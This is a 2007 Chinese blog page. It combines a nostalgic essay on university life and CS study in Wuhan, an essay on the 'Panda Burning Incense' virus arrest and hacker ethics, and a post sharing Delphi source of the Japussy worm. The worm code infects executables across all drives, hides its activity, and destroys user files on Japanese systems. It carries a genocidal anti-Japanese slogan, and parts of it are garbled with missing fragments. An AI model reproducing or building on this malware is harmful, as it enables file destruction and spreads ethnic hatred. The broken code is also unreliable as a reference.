2007年2月28日星期三

google755791b56a3b2984.html

google755791b56a3b2984.html

2007年2月15日星期四

<转>咏月华暮思别沉——寄予我的大学生活

咏月华暮思别沉——寄予我的大学生活 我的大学时代
引子
寒假在家,一人去那久违的田野。似乎就是伸手可及的地方,蓝天缓缓的伸展。脚下的路,就在田野里蜿蜒而远去。顺着望,一片麦绿色中,几处消瘦的身影,便是冬日中静默的白杨树了。再远处,地是愈加平坦的。隐约一条公路上,似乎有着车子奔跑的淡影,是驰向外面的世界么?放眼量,却是天地交汇之处了……
喜欢这开阔的视野,喜欢在这样的环境中散步。缓缓的走着,随意的行与止,生活里那能得如此惬意时刻?又欲想起南国近四年的生活,我欲结束的大学生活……
初识武汉与东湖
除了荆门老家的东宝山和文明湖,我最喜欢的散步处,就是武汉的东湖岸边了。从我的学校出发,若是翻南望山,只需经过一个小村庄就可到猴山旁,便见东湖水波渺渺,偌大伊人胸怀……
可想三年多前,一人郁郁前来武汉,可曾想到如此的好处?
的确是没有的。人生总是不尽如意的;我最喜欢阿甘母亲的那句话,人生就像一盒巧克力,你永远不知道你将要吃到的是什么味。那时一志愿落空,档案被提到了武汉,情绪很低落。加上些其它的不如意,父亲说要到武汉送我,我拒绝了:近乎赌气般的,我一个人挤汽车、挤火车来到了武汉。
最近父亲常常叹气,当初未能送儿子去学校,没有一起去武汉分享这份荣耀,儿子竟上大学了,却没有到儿子读的大学去过一次,老人总是忍不住叹气。一个农村老人的心,我觉得我比以前更能理解了,这或许就是身受高等教育的好处。渐渐的,我也觉得自己当初太任性了,竟为什么不悄悄的完成父亲的心愿?那在老人回忆起来将是多么大的一份安慰与自豪哦~~~父亲可是到现在还一样的口气,想见见我的母校,想见见长江大桥,然后就回来……
哦父亲,我似乎就觉得武汉慢慢的溶入了我的生命中了,我喜欢这山山水水,喜欢东湖浩淼,喜欢大江茫茫……我一定要带您来武汉,看看儿子读书的地方,看看儿子喜欢的地方。

但初识武汉的时候,却不是这个样子。
我走下火车,随旅人的洪流出了武昌站,找到学校接学生的大巴。车上都是学生与家长,我晕车,坐在自己包上,忍耐着,又木讷的从人群中看车外的武汉。感觉那时的武汉怎么如此又脏又旧呢,特别是进鲁巷,这一带还没有改造,真像到了县城。待下车,我已经不辨方向了,结果在学校的几年就几乎没有过正确的方位感。
当时学校的东区还很荒凉的样子,没有大草坪和化石林。西区也没有整修,到处是纸片和飞舞的塑料袋。大操场是灰土飞扬,教学楼很陈旧的样子。现在学校环境还算差强人意,都是后来迎接校庆时做的。安排好住处,休息过了,我就跑出来:我想找到我的大学可爱之处。可是除了图书馆前面的化石觉得有点大学的味道之外,竟再也没有别的了。我说不出的失望。
或许你觉得我有点怪口味是吧?中学生都会对大学有一定的憧憬,我心目中的大学,那时也就是两条,其一是环境有味道,其二是有大师。但看环境,我的梦想似乎就摇摇欲坠了。

可是后来一次偶然的机会,和一个老乡去看东湖。
当时翻山到那里的时候,一开始便是现在八一游泳馆那个地方,东湖的一角,还是石头砌的岸,有的都翻了起来,潮湿的冒着水腥气,当然还没有游泳馆的影子。其外还拉着锁链,下面杂草丛生的。现在是个很好的玩的地方,尤其是在夏天。不过那时还是很兴奋的。跳跃着钻过锁链,站在东湖岸边,迎着水面吹来的风,享受着从来没有过的开阔的水。看浅浅的水浪涟涟而来,从远方向脚下漂着,偶尔又向湖畔扑着,让人撞了一怀一脸的湖水的味道儿,让人不自禁无忧无虑,让人胸襟开阔……
岁月也是一道滚滚不息的大水吧,但遥望她,又有几个有如此感觉的?忽然就觉得我的幸运,来到武汉,东湖便自然走进了我的生命。我本胸中郁郁千万结,一个有着诸多不足的年轻人,终于来到了他的大学,来到了他的熔炉;竟还赐于他东湖……

近四年大学过去了,我在东湖岸边常常一人静静的走。不知从何时起,就习惯上怀着一种感恩的情怀了。然而我的确接受这个世界太多的恩惠,虽然或许过去年轻而不知……
一开始,何曾如此的想呢。

大学的学习生活
大学里也几乎没有让人激动的大师。
这是我对大学的第二个印象,随着军训的结束,这个印象慢慢的加深。从辅导员讲话,竟然是你们若考不好成绩就对不起家长的发言,到后来绵绵无味的讲书的老师,我只觉得心里越来越失望。
我想我是有代表性的。我的学校,保守的说是个重点大学,应有中等程度。所以我想一定有很多大学生,也有类似的心理经历。

记得当时就觉得辅导员的可笑,虽然没有阿Q从城里归来笑未庄人那样的尽心。
一开始就觉察出了这儿是个错误的文化氛围。辅导员不是尽力引导学生使之具有独立之精神,不是告诉他们这个世界何等美好,让他们拥有他们本该拥有的开拓激情,或者面对困难的决心与勇气,与智慧,不是让他们学会面对罪恶而不失善良,拥有善良而不软弱,辅导员从来不做这些事。他们在忙什么呢?在忙幼儿园阿姨在忙的事,他们觉得自己无须思辩就是对的。
那时我总是觉得一定有些地方出了问题。可我说不出。这么大一个系统,怎么能道的明呢?课程的老师讲的课大半毫无味道,青春岁月又没有了激情与信仰,我的大学,遇到的第一个问题就是,我迷失了。

不得不说一说学校的课程与老师。
我是学工科的,计算机科学与技术专业。坦白讲,学校的授课计划还是经过论证的,那一系列的课程名称,大部分都是比较重要的。可是饮料的标签,与饮料本身的味道,又有什么关系呢?都是清茶,不同的茶馆泡制出来的,味道是天壤之别。现在的大学,的确失去了泡茶的好传统。
后来经历的老师多了,就悄悄的把大学的老师分为三类。
其一是育人的。这样的老师,我更愿意称之为导师,虽然本科不是导师制。如果在书信中,我都是以“先生”呼之,仍难尽表胸中敬意。可是大学里这样的老师很欠缺。我四年才不过遇到两三位(一个原因是我的专业不是我们学校的强项)。他们教你什么?知识,但不仅是知识,更重要的是为学、为人的道理,还有那种快乐燃烧的感性状态。我举个例子,在大四上学期的一个老教师,我们的系主任,给我们讲计算机前沿技术的课,内容主要是演化计算和并行计算。我写了一篇文章,是关于用演化计算做机器证明的构想的小文章,让先生帮我看一看。先生说了这样一段话:
“从前在一个黑房间里,有一些人。他们欲走出黑暗,走向光明。有一类人很聪明,就坐在房子中间苦思冥想,想门会在哪里。另一类人却站起来,他们摸索着向前走,若是碰到墙壁就再向左走……”
然后先生似乎就微笑着看了我一下,说对于新的想法,最好是写代码实验,从最简单的情况入手。当时我胸中感激而又兴奋之情,难以表述。默默的告诉自己,一定要好好成长,在行动中成长,才不负先生的一番教诲。
这样的课堂,才有大学的味道!如果大学皆如此,千万学生何等幸也,中华何等幸也。然而并非如此。
其二就是教书的。这样的老师,比较勤恳,专业知识也比较扎实,可是他讲的课总是围绕课本,展现不出学科的魅力与他个人的魅力。大学的老师,我遇到的有近乎一半都是如此。
其三就是误人子弟的。这样的老师,比不思进取的学生还可恨。而且千姿百态,更有多种表现。或课堂枯燥,言语渐无,或嬉皮笑脸,不着边际,或治人为乐,无上光荣……我们广为流传的一句,是在上软件工程的课时,老师侃出来的一句话:我发现了一个秘密,就是使用VB时,你使用一次Tab键能让光标退四个格,使用两次就退八个。我的软件工程啊,这如何与《人月神话》比较呢?但那句话,成了我们最好笑的笑话,想起那位老师我们就想起了这句话。或许有些罪过,可是天下中所有的轻视,最厉害的是学生对老师的轻视,钱钟书先生说的,这种轻视总是最为深刻。
就第三类老师,大学也占了四分之一。

我迷失了……
一跨进学校,我没有方向感,觉察不出东西南北,也就罢了,太阳习惯从哪个方向升就从哪个方向升吧,可是,我的精神,竟也迷失了。心灵,没有方向,没有信仰,没有寄托。
Just do it !可是如何做呢?亦步亦趋的跟着辅导员与老师的方向走,简单到没有任何灵魂意义上的需求?或者,向上爬,做精英,少承担压力,多索取利益,跟随这样的文化?慢慢的变形,就如你我所看到的很多社会现象?可是高等教育的责任呢?!

大家现在都在埋怨教育。
大学生的素质差了,就如你我所见的,很多人通宵上网,打游戏,荒废学业与最美好的青春岁月。考试临时抱佛脚,拼命去跑题,可笑的是佛也睁一只眼闭一只眼,甚至伸出脚怕你不抱。还哪里有崇敬,诚信,志气,天下之责任?!
学校却又在歌舞升平了,要如何如何创建国际一流大学,可是日日里无所作为,并把它说成是成绩。各种事情照惯例例行着,网络中忽然冒出某某学术腐败了,或者某某学校与某某学校的学生又发生了口水战役,丈量着各自母校的海拔高度,你知道大学生总是最有精力的……
生活无趣,看书无味,却又是要当bachelor的,然而后来却发现工作不好找,又该骂人了。

这不是大学生的学习生活。我好希望。
不仅是要大部分学生不如此,我希望每一个人都不如此。不要这样的生活,拒绝之呵,拒绝!因为这是对年轻人犯罪!对社会犯罪!对这个时代犯罪!如此,杀五十的能笑杀一百的吗?!
有时我想,幸好我只是软件工程师,如果我是人类灵魂工程师的话,对年轻人如此犯罪,我会自责至死。
可是又是谁的责任呢?荒废学业的学生,失去的青春与进步机会已经给他做出了最大的惩罚。学校或只是口头上的发展,或只是缓慢的发展。社会也必然自我惩罚,她在丧失大量资源。到底是谁受益了呢?

当然,批评劣处并不是我的爱好,我更乐意去赞美美好的事物。我好喜欢多样化,好喜欢和谐,好喜欢独立之精神,好喜欢艰苦奋斗的美。
我迷失了,但我不甘心如此。事实上,我相信也曾看到许多优秀的年轻人,他们如何努力的摸索与成长,看到许多可亲的师长如何教导弟子。到大一下学期开始,我发奋要走自己的路。但坦白的讲,要走出一条自己的路很辛苦,相当辛苦。我们都是普通人,不是教育家,也没有对学科认知的天才脑袋,读的也并非最一流的大学。何况我们自己也有利欲之心,有时难免有失偏颇。最麻烦的是,人会有孤独感,尤其当你觉得你并非社群的主流的时候,这种孤独感几乎可以毁了一个人。罗素说,无论是男人还是女人,孤独太长的时间都会对心志有害。我很认可这句话。
要自己努力,就不能忽视这些问题。
现在想起来,我从大一寒假开始自学c++的时候,已经跌跌撞撞的走上了这条路。后来听数学模型的课,到喜欢数学一发不可收。大二开始接触国外的专业书籍,了解到原来计算机科学或技术原来可以这么精致,可以这么深刻,可以这么没有教材味。老实说,开始的压力很大,那时的人也远没有现在的平静心境,这都是东湖对我的哺育之情。大一大二真的是常去通宵自习的,看书也没人指导,或顺序不对,或难易有失,走了非常多的弯路。
可是还可欣慰的是,我没有迷失在网络游戏当中,没有陷入重修的泥淖之中,我所有的课程都保证一次通过,或许有的分数并不高(坦白讲,这影响奖学金的数目,但不影响个人追求,现在也没有影响我找工作,后面再谈了)。而且,最重要的,大学快结束的时候,我忽然开朗了,分明看到自己虽然不足,但面前竟也有一条依稀可辨的路,或许它不会让我有所成就,但绝对不会白过一生。
不过转念一想,为何读大学?接受高等教育?不就是为此吗?这样看来,这“欣慰”,又好象一只洋洋得意的母鸡,在夸耀它下的蛋是椭圆的、绝对没有棱角一样了。

所以,前些日子对同学说,我的高等教育才刚开始,大学的学习生活,也是刚刚开始。
大学的课余生活
大学是如此一个奇怪的复合体。
对于她的精神生活,她的学习生活,我们或多或少都会有些不满。但其课余生活,却是那么令人向往。为什么这么说呢?因为大部分大学没有真正意义上的严格起来,只要学生不过分,大学那些课程过起来还是非常容易的。剩下来的时间,都算是课余时间了。
虽然我喜欢的是奋斗、向上的生活观点,可是我不希望人人都如此。呵呵,事实上每个人都有自己的习惯与方式,对于生活,我们不需也不应统一意见。就如一个笑话说的,渔夫晒太阳,怡然自乐,游人建议他勤劳打渔,发展个人事业,当有了自己的捕渔船队的时候,就可以无忧无虑了。但渔夫告诉游人:我已经在无忧无虑的晒太阳了。
所以又喜欢大学这样的多样性。荒废学业,怠慢职责,都是不可原谅的行为;可是对于日常生活的方式,大家各为其好,彼此欣赏,也就是了。记得我们学校有一个男同学,留长发,穿长裙,据说是做音乐的。每次遇到他,我都报以善意的微笑:我不会那样做,可他愿意那样做,并做了,我欣赏他的态度。
同学说我是个典型的保守派,我不知道自己是不是如此。不过我觉得自己的思想也并不十分保守呀。我只是觉得有些事不应该,而有些事,却是任何人没有权利限制的。

我的爱好,却是十分明了。
其中之一就是逛书店与音乐光碟商店。而且,不像女生逛街那种,我是有钱必花。呵呵,常常为此弄的紧衣缩食的。还有就是喜欢外出旅游,背起小包换上鞋子就走。旅游基本不花钱,只要舍得脚力。前日又去东湖,在梅园外立了半天。如今正是武汉梅花节的日子,梅花早已盛放弄蕊了的。一枝奇梅,婀娜多姿,或花蕾含苞,或百蕊吐芳。时有微风吹来,便长袖慢舞,无论是红色粉人,还是白洁佳女。这种情况,看着真是享受,却也不一定非要拿人民币到园中去。我是从花砖墙外,偷了半日眼福。
墙里梅花墙外笑,自可得意非凡。但若是宝通寺的洪山宝塔,建议你还是亲自登一登。塔内曲折盘旋而上,层层有佛像和观望台,十分的有意思。然而那日里去,发现里面都是各路神仙的题词,什么某某我爱你,某某我永远等你。因为是躲情人节的孤单才去玩的,所以看的我直乐。还有就是告诉你一个小秘密。如果远道而来去宝通寺,就不用去正门,可省一张门票。路线是先参观施洋烈士陵墓,然后上洪山,差不多一半路的时候,就可以看到右下半山上的宝塔。从这里下山去宝通寺玩,待登洪山宝塔的时候就只要花两元钱。呵呵,不好意思,占佛祖的便宜。

若你来武汉,我觉得这些地方还是非常值得去的。首先就是黄鹤楼—东湖—磨山—植物园等这些风景区,然后就是辛亥革命首义博物馆—湖北省博物馆—东湖梅岭毛泽东故居等这些人文景观,还有就是归元寺-宝通寺等宗教景点。差点忘了,各大学都是免费的景点哦,尤其是武汉大学,很漂亮。爱吃的来武汉也不错,上次我们在汉阳吃的烧烤还好,而且价格便宜。

对于在学校是否应参加一些社团,丰富课余生活,也是仁者见仁、智者见智了。多交些朋友总是不错。天南海北的同学,真是一笔财富。

成长计划
对于教育,大家都有自己的看法。记得曾在CSDN上见到过一篇北工大学生的文章,不满意学校的教育,准备付出一定的代价而自学。事实上自学是非常好的、正常的学习方式,无论在多么好的环境里,不会自学的人肯定学有所限。然而我们总觉得那么“悲壮”,这是因为现行教育的激励方式问题,测评问题。
我认为教育固然要进行大幅改革,但这不是你我主管的事情:我们最多是提建议,进行呐喊。但正在学校中的学生,还总得接受教育。因为是大四的学生,也曾经历了很多弯路,所以这里诚恳的给弟弟妹妹们提些建议,仅做参考。

首先,不要过激。有同学往往采取过激的行为——我觉得这是个误区。现在教育中是有问题,但不是一无是处。你准备承担不毕业的压力来自学,就完全违背了学习的初衷,也伤害了现实中的亲人。只说前者,为什么呢?你想,学校开出的教学计划,计算机本科专业,一般都是高数、高代、高级语言、离散、数据结构、操作系统、数据库、编译原理、人工智能等。事实上本科教育也只是基础教育,这些课程都很好,都必要,只是学校的差距在于教材、授课、测评上。你自学,然而离散或数据结构不及格,那么自学的又是什么呢?何谈计算机专业知识呢?即使自学,你的目标和学校还是基本一致的:成为高素质计算机人才。不过是如果学校流于口号以后,你就自学使它成为现实。
其次,要集中精力。我大学全部的教训,就在于这四个字。当然,那是因为我是完全自己摸索,不知道该如何做。如果你是低年纪大学生,恰巧看到我这篇文章,这一教训还请你多多注意。计算机何其复杂,技术门类层出不穷,学乱了反而什么都没有深入,还不如老实的跟着学校的计划走。所以量力而行,再根据自己的爱好,集中精力,有所深入,才是上策。
再次,就是多看些人文书籍,多与人交流,做一个有人文精神的大学生。无论你是什么专业,没有一定人文素养,没有与人交流的经验,快乐与成功都是不太可能的。

我想如果我从新进入大学的话,就会这样做:
大一时学好数学分析与高等代数,计算机就学一门高级语言,如C++或Java,然后随便翻阅些计算机的科普、科幻书籍。大二学好离散数学,可能还有数值分析,计算机就研读国外经典书籍,主要是数据结构(算法)与操作系统,如果有能力可接触一本源码分析的书,如莱昂氏UNIX内核代码分析。大三学好随机数学,注意数据库、编译原理、计算机网络与人工智能等专业课,尽可能的多深入领悟。同时开始学习一种开发工具,VC,Delphi,Jbuilder或VB等均可,在学习期间考虑程序的结构与效率问题。空闲时期翻阅去年没看完的源码分析。大四上接触软件工程的思想和设计模式等高等程序设计技术,开始在思想上深入考虑计算机软硬件问题。机动时间计划是工作还是考研(或保研)。其中对于外语,最好大三能把六级过了,计算机专业书籍也尽量看英文原版书(这样才能充分体会到作者的智慧,与那份或淘气、或可亲的人文气息)。另外,对于想继续深入做研究的同学,我觉得有三门核心专业课要特别注意:离散数学,数据结构与算法分析,计算机体系结构。
这简单的一段,要做到是非常不易的。这么说,我不知道是否给你留下了找女朋友或男朋友的时间,呵呵。但我想如果你集中精力,按照类似的一份计划去努力,到大四的时候,你一定会对计算机方向有个初步的认识,无论是工作还是考研,你都不会心慌的了。

其余的时间,才是你的自由时间,去打网络游戏,我也会为你感到自豪(如果学校反对,我肯定会跳出来指责它干涉学生正常生活)。如果我有时间,还会请你多教教我,我到现在还只会玩聪明的搬运工。有点向往反恐呢。
最后要说的是,我不给要出国的同学提建议哦。

2007年2月14日星期三

熊猫烧香源代码有兴趣也来看看,

熊猫烧香 - 核心源码 Delphi版本--------------------------------------------------------------------------------僅供研究使用!後果自行負責
代码:--------------------------------------------------------------------------------程序代码program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var Ver: TOSVersionInfo;
begin Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end;end;{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil;end;{ 发带毒邮件 }procedure SendMail;begin //哪位仁兄愿意完成之?end;{ 感染PE文件 }procedure InfectOneFile(FileName: string);var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char;begin try //出错则文件正在被使用,退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < disktype =" DRIVE_FIXED)" disktype =" DRIVE_REMOTE)"> 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 0 //不是目录 else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 1 //不是根目录 else Result := 2; //是根目录 end;begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = '.EXE') or (Ext = '.SCR') then begin InfectOneFile(Fn); //感染可执行文件 end else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin //感染HTML和ASP文件,将Base64编码后的病毒写入 //感染浏览此网页的所有用户 //哪位大兄弟愿意完成之? end else if Ext = '.WAB' then //Outlook地址簿文件 begin //获取Outlook邮件地址 end else if Ext = '.ADC' then //Foxmail地址自动完成文件 begin //获取Foxmail邮件地址 end else if Ext = 'IND' then //Foxmail地址簿文件 begin //获取Foxmail邮件地址 end else begin if IsJap then //是倭文操作系统 begin if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then SmashFile(Fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings[i] + '', Mask); FreeAndNil(SubDir);end;{ 遍历磁盘上所有的文件 }procedure InfectFiles;
var DriverList: string; i, Len: Integer;begin if GetACP = 932 then //日文操作系统 IsJap := True; //去死吧! DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList[i] + ':', '*.*'); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟 end;end;{ 主程序开始 }begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之? end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了,开始工作 begin TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end;end.

客失去了理想 世界将会怎样


——来自熊猫烧香病毒案的反思启示录
作者:我是老鹰 2007年2月12日

引言

2月12日消息,肆虐中国互联网的熊猫烧香病毒宣告侦破,据说这是我国破获的国内首例制作计算机病毒的大案。根据报道,湖北公安的网监警察在浙江、山东、广西、天津、广东、四川、江西、云南、新疆、河南等地公安机关的配合下,一举侦破了制作传播“熊猫烧香”病毒案,抓获李俊(男,25岁,武汉新洲区人)、雷磊(男,25岁,武汉新洲区人)等8名犯罪嫌疑人。我想对于深受病毒、流氓软件困扰伤害的网民来说,这绝对是一个好消息!其实,对于目前鱼龙混杂的信息安全技术圈子,又何曾不是好事?难道我们还可以继续忍见那曾经神圣的希望殿堂在金钱、性、炒做、虚荣的拥戴下变成世俗的温床?

传统的黑客消失了 千百个流氓跳出来

有人曾经将黑客比喻成药,因为:黑客精神追求的是一种自由与共享,就其本质而言是一种来自于对历史文化的沉淀,是由现实中人们的生存状况、矛盾冲突、主观意识等剧烈活动演变而来,黑客精神是一种超越现实的宗教,是一种升华艺术的声音。黑客是一种充满了幻觉和朦胧的期待与索求!

前年我写《黑客的过去、未来与死亡》的时候,就是有感于黑客圈子里黑色经济泛滥成灾,黑客的光环和神秘被眼里只盯着盗号、挂马的浮躁彻底抹去。自2000年初雅虎、美国在线被大规模拒绝服务攻击开始,互联网这个圈子里就涌入了无数渴望借此快速致富的流氓。流氓涌动的浪潮全面席卷互联网经济,带来的就是流氓软件的横行,拒绝服务攻击的敲诈,挂马、盗号工具的盛行。浮躁的社会塑造了浮躁的成名暴富风气,于是一群年轻人带着对黑客的神秘崇拜而来,最终沉迷于雕虫小技的卖弄而掉入黑色经济的大染缸里不可自拔。自从“中美黑客大战”之后,伴随着“黑客红了”现象,互联网经济在中国率先崛起,信息安全产业也开始高度发展。和平稳定的局势使众多红客们失去了文攻武斗的方向。从各类打着各种名义的伪黑客培训班到直接贩卖黑客工具,其实自2002年起这类黑色经济就已经开始慢慢泛滥。老一辈的黑客人物因年纪、工作等各种原因逐步变的深居简出,日益低调,更多是以安全专家和顾问的面孔出现在专业安全公司和客户现场。江湖里少了点惺惺相惜。传统的黑客消失了,千百个流氓跳出来。

心存侥幸者 必被事实无情粉碎

笔者仅2006年就帮朋友应付过3起对中小网站进行拒绝服务攻击的敲诈事件,敲诈者明显是圈中人士,胆大张狂,敲诈对象也日益广泛,拒绝服务攻击规模和恶劣程度也日益扩大。由于互联网自身的脆弱性、国内运营商的安全管控能力以及网监等政府相关信息安全部门的多头管理现状等原因。受害者经常是投诉无门,而执法者又经常面对办案成本高昂的局面,从而纵容了诸多缺乏现实生活经历、注重自我得失敢于铤而走险的年轻人涉足黑色经济领域。很少这类案件被破获、曝光更使年轻的他们心存侥幸,从而在金钱的驱动下日益拜金,完全抛弃了自己的理想和初衷。比如国内流行的灰鸽子木马等,迄今已经流传多年,也有众多版本,由于危害性不如熊猫烧香的表现来的强烈,此到目前其作者依然安然无恙。然而我很想告诉他们:君子爱财,取之有道;心存侥幸者,必被事实无情粉碎!无数各行各业的案例告诉我们,我们的社会受到规律和法律支配,黑客不是上帝,只要你的生活依然需要阳光、食物和空气,他们也离不开身份证、银行卡和人民币的话,就无法逃避和循行,何况他们的本领也许只是拘泥在某一层次和层面的小小领域。更何况自然辩证法的逻辑总是准备好正反和矛盾作为他们的伴侣如影随行:中国的网络警察队伍也许才刚起步,但依附强大传统刑侦体系和拥有无限资源的优势足够弥补技术的不足,出来混的,总是要还的。

上帝要让你灭亡 先让你疯狂

没有了理想的黑客,也许会沦落的比俗人更俗,比狂人更狂。他们不再渴望挑战权威,反而以凌辱弱者为乐。他们渴望和迷信金钱的力量,他们也居然敢依仗着互联网恩赐的共享知识的自由,靠着改写、模仿和少量的“创新”四处出击,他们不再关心爱国,不再愤怒靖国神社歪曲历史,各类色情、赌博的站点也许就是他们经常光顾的“潜在客户”。于是,以往作为病毒制作者和一切黑客守则里都不提倡的行为出现了——各类病毒或者攻击工具都有作者的标志和联系方式,这些黑客不再羞羞答答,而是惟恐大家不知道他们是谁一样公开叫卖他们的作品。这圈子里居然俨然还有专门以此为生的经济人和中间人。一位海外搞安全的朋友在聊天的时候以羡慕的口吻谈到国内的安全圈子,说国内实在太自由了让他无法相信。但我知道这样的自由实际是自我的放纵和堕落,如果这样的自由可以肆意危害赐与他们自由的互联网乃至广大网友的时候,我们知道那古老的谚语将被再次证明:上帝要让你灭亡先让你疯狂。

于是,在编写了“熊猫烧香”病毒并在网上广泛传播,并且还以自己出售和由他人代卖的方式,在网络上将该病毒销售给120余人,非法获利10万余元。再经病毒购买者进一步传播,导致该病毒的各种变种在网上大面积传播,对互联网用户计算机安全造成了严重破坏的疯狂后,上帝终于听到了广大网民的愤怒,他不再相信防病毒厂商的口水,直接将斯摩达克剑授予现实世界的执法者。
黑客失去理想 世界将会怎样

关于黑客的过去已经有数不清的著书立说,虽然我们完全可以从无数评论黑客的书籍中找到现实社会里“天下文章一大抄”的影子。当黑客的历史故事可以变成抄袭的文字甚至被无数次奸淫剪辑的时候,我们知道黑客已经成为过去,黑客作为侠客精神的转世还魂,也将追随其原形仅仅成为电影中的荧幕形象需要借助中国武术动作和特技镜头而存在,等待着未来世界的再次轮回。 黑客的过去表面看似一个技术时代的英雄话题,当洗脚上岸的资深人士因为来两句“多谈点技术,少谈点政治”而获得满场掌声的时候,请大家不要忘记他还曾说过:我的生活希望就是住更好些的房子,享受更好的生活——在虚拟数字世界挖掘的动力依然需要来自现实社会里的物质支撑。而最黑的黑客也黑不到印钞工厂去,即使能黑——也不过是不懂技术但会指挥杀人放火的黑道大哥的马仔而已。而如尼奥那样意义上的能做决定也能独立行动的黑客,我们深深理解和体会:他们就如同上帝,无处不在,又无处可寻。 记得以前我曾经说过:黑客必须存在下去,不可能消亡。。。中国黑客只有形成一个主流的黑客文化,才能更加有利于促进网络安全事业的发展,才能提高我国的计算机应用水平,从而让我们能够从容面对未来的信息时代。 然而今天我发现我所做出判断的谬误,黑客文化的本身决定了其不可能有主流支流之分,黑客与黑客文化从来就是独来独往,自生自灭,和娱乐圈里的明星一样,他们可以形成圈,但不可能抱成团,保持距离、没有中心是其文化维系生存的基本条件,绯闻是其花絮,注意力、快感和财富依然将成为其最终的归宿。

